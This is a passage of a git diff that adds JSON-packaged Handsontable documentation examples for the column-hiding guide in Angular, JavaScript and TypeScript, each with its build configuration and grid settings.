'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // individually add column hiding context menu items\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example5.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example5","exampleTitle":"Step 3: Set up context menu items (2)","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example6.ts.json new file mode 100644 index 00000000..efb6736c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Step 4: Set up copy and paste behavior · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example6',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: ['hidden_columns_show', 'hidden_columns_hide'],\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n // exclude hidden columns from copying and pasting\n copyPasteEnabled: false,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example6.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example6","exampleTitle":"Step 4: Set up copy and paste behavior","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.js.json new file mode 100644 index 00000000..89ff97c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n columns: [2, 4, 6],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example1.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.ts.json new file mode 100644 index 00000000..04c655d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n columns: [2, 4, 6],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example1.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.js.json new file mode 100644 index 00000000..4a4b222c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Step 1: Specify columns hidden by default · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n // specify columns hidden by default\n columns: [3, 5, 9],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example2.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example2","exampleTitle":"Step 1: Specify columns hidden by default","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.ts.json new file mode 100644 index 00000000..ceedb999 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Step 1: Specify columns hidden by default · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n // specify columns hidden by default\n columns: [3, 5, 9],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example2.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example2","exampleTitle":"Step 1: Specify columns hidden by default","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.js.json new file mode 100644 index 00000000..f98e82ec --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Step 2: Show UI indicators · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n hiddenColumns: {\n columns: [3, 5, 9],\n // show UI indicators to mark hidden columns\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example3.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example3","exampleTitle":"Step 2: Show UI indicators","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.ts.json new file mode 100644 index 00000000..9473bb62 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Step 2: Show UI indicators · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n hiddenColumns: {\n columns: [3, 5, 9],\n // show UI indicators to mark hidden columns\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example3.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example3","exampleTitle":"Step 2: Show UI indicators","docPermalink":"/column-hiding","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.js.json new file mode 100644 index 00000000..3cf65cc0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the context menu\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n // automatically adds the context menu's column hiding items\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-hiding/javascript/example4.js","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example4","exampleTitle":"Step 3: Set up context menu items","docPermalink":"/column-hiding","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.ts.json new file mode 100644 index 00000000..9662eb66 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ],\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the context menu\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n // automatically adds the context menu's column hiding items\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-hiding/javascript/example4.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column 